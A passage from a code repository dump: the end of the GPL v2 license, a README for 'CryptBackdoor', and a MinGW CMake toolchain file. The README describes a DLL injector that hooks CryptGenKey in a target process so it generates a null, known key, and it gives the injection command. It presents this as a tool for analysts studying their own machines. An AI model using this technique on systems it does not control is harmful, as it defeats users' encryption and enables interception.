| 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CryptBackdoor 2 | This project injects a DLL in a running process (Using PID or process name) to hook and 3 | intercept call to `CryptGenKey`. If possible, a null key is imported instead of an 4 | unknown random key. The hook is really simple and might not work for every case. 5 | 6 | This backdoor can be useful when doing network analysis encrypted with session key 7 | from CryptGenKey on a machine controlled by the analyst. 8 | 9 | # Usage 10 | To load the CryptBackdoor in the process and generate a null key, use: 11 | ``` 12 | HookLoader.exe -n CryptTest.exe CryptBackdoor.dll 13 | ``` 14 | After running this command, running CryptTest.exe processes should now generate the same 15 | key on each message. 16 | 17 | # Projects 18 | ## CryptTest 19 | Small utility that generate a key in loop and encrypt a given plaintext. Used to test 20 | the CryptBackdoor loader and DLL. 21 | 22 | ## HookLoader 23 | Utility to load a DLL in a process from its name or PID. 24 | 25 | ## CryptBackdoor 26 | DLL that hook to CryptGenKey and generate a weak known key instead of a random key. The 27 | hook is set up by the [mhook](https://github.com/martona/mhook) projet. 28 | -------------------------------------------------------------------------------- /toolchain-i686-w64-mingw32.cmake: -------------------------------------------------------------------------------- 1 | # the name of the target operating system 2 | SET(CMAKE_SYSTEM_NAME Windows) 3 | 4 | # which compilers to use for C and C++ 5 | SET(CMAKE_C_COMPILER i686-w64-mingw32-gcc) 6 | SET(CMAKE_CXX_COMPILER i686-w64-mingw32-g++) 7 | SET(CMAKE_RC_COMPILER i686-w64-mingw32-windres) 8 | 9 | # here is the target environment located 10 | SET(CMAKE_FIND_ROOT_PATH /usr/i686-w64-mingw32) 11 | 12 | # adjust the default behaviour of the FIND_XXX() commands: 13 | # search headers and libraries in the target environment, search 14 | # programs in the host environment 15 | set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) 16 | set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) 17 | set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) 18 | 19 | --------------------------------------------------------------------------------